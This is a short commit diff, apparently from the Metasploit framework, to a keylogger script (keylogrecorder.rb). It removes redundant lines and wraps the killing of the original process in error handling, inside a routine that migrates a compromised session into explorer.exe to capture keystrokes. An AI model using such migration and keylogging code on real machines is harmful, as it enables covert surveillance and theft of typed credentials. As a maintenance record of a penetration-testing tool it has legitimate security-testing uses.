Update keylogrecorder.rb

Removed redundant code, added error checking.
This commit is contained in:
shellster 2013-03-22 06:35:49 -07:00
parent de72512958
commit 2db85e8384
1 changed files with 7 additions and 7 deletions

View File

@ -54,10 +54,6 @@ end
#Function to Migrate in to Explorer process to be able to interact with desktop
def explrmigrate(session,captype,lock,kill)
#begin
server = client.sys.process.open
original_pid = server.pid
if captype.to_i == 0
process2mig = "explorer.exe"
elsif captype.to_i == 1
@ -81,9 +77,13 @@ def explrmigrate(session,captype,lock,kill)
print_status("Migration Successful!!")
if (kill)
print_status("Killing old process")
client.sys.process.kill(original_pid)
print_status("Old process killed.")
begin
print_status("Killing old process")
client.sys.process.kill(mypid)
print_status("Old process killed.")
rescue
print_status("Failed to kill old process.")
end
end
end
end